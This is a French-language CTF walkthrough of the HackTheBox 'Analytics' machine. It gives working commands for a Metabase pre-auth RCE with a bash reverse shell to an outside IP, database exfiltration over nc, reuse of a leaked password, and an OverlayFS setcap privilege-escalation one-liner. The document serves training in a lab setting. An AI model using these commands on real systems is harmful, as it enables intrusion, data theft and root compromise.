Analytics - HackTheBox
Vue d'Ensemble
| Propriété | Valeur |
|---|---|
| IP | 10.10.11.233 |
| OS | Linux (Ubuntu) |
| Difficulté | Easy |
| Points Clés | Metabase RCE, Container Escape, OverlayFS Exploit |
Phase 1 : Reconnaissance
Scan de Ports
nmap -p- --min-rate=1000 -T4 10.10.11.233
nmap -sCV -p 22,80 10.10.11.233
Résultats : Ports ouverts 22 (SSH) et 80 (HTTP).
Configuration DNS
echo "10.10.11.233 analytical.htb data.analytical.htb" | sudo tee -a /etc/hosts
Phase 2 : Reconnaissance Web - Metabase
Le sous-domaine data.analytical.htb héberge une instance Metabase v0.46.6 vulnérable à une RCE pré-authentification.
Récupération du Setup Token
curl -s http://data.analytical.htb/api/session/properties | jq .
# Repérer la valeur 'setup-token' (ex: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f)
Phase 3 : Exploitation Metabase (Pré-auth RCE)
Préparation du Listener
nc -lvnp 4444
Exploitation avec POC
POC utilisé : https://github.com/m3m0o/metabase-pre-auth-rce-poc
# Adapter le token, l'URL et l'IP/port du listener
python3 main.py -u http://data.analytical.htb -t <SETUP_TOKEN> -c "bash -i >& /dev/tcp/10.10.14.64/4444 0>&1"
Alternative manuelle : Envoyer une requête POST via Burp Repeater à /api/setup/validate avec un payload encodé en base64.
Phase 4 : Post-Exploitation - Shell Metabase
Vérification de l'Environnement
whoami # metabase
pwd # Examiner /, /home/metabase, /metabase.db
env # Rechercher META_PASS et META_USER
Récupération de la Base Metabase
# Depuis la machine cible
nc <votre-ip> 4445 < /metabase.db/metabase.db.mv.db
# Sur votre machine locale
nc -lvnp 4445 > metabase.db.mv.db
Extraction des Credentials
env | grep META
Credentials trouvés :
META_USER=metalytics
META_PASS=An4lytics_ds20223#
Phase 5 : Accès SSH - Utilisateur Metalytics
Connexion SSH
ssh [email protected]
# Mot de passe: An4lytics_ds20223#
ou avec sshpass :
sshpass -p 'An4lytics_ds20223#' ssh [email protected]
🚩 Flag User
cat /home/metalytics/user.txt
🚩 Flag User: HTB{...}
Phase 6 : Escalade de Privilèges Root
Identification de la Vulnérabilité
La machine est vulnérable à une exploitation OverlayFS / unshare + setcap.
uname -a
# Vérifier la version du kernel
Exploitation OverlayFS
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; \
setcap cap_setuid+eip l/python3; \
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && \
l/python3 -c 'import os;os.setuid(0);os.system("/bin/sh -c \"id; cat /root/root.txt\"")'
Alternative : Utiliser un exploit public depuis les dépôts GitHub mentionnés dans les articles sur OverlayFS / CVE 2023.
🚩 Flag Root
cat /root/root.txt
🚩 Flag Root: HTB{...}
Compétences Développées
- Exploitation de vulnérabilités Metabase (CVE pré-auth RCE)
- Énumération de containers
- Extraction de credentials depuis variables d'environnement
- Exploitation OverlayFS / capabilities Linux
- Container escape
Outils Utilisés
nmap- Reconnaissance réseaucurl+jq- Interrogation d'APIsnc- Reverse shell et transfert de fichiers- POC Metabase RCE - Exploitation pré-auth
linpeas.sh- Énumération post-exploitationstrings/sqlite3- Analyse de bases de donnéesssh/sshpass- Connexion distante
Bonnes Pratiques
- Ces techniques doivent être exécutées uniquement dans des environnements autorisés (CTF/lab)
- Ne pas utiliser sur des systèmes de production sans autorisation explicite
- Adapter les IPs, tokens et chemins aux valeurs réelles de votre instance
Références
- POC Metabase pre-auth RCE : https://github.com/m3m0o/metabase-pre-auth-rce-poc
- Documentation OverlayFS exploits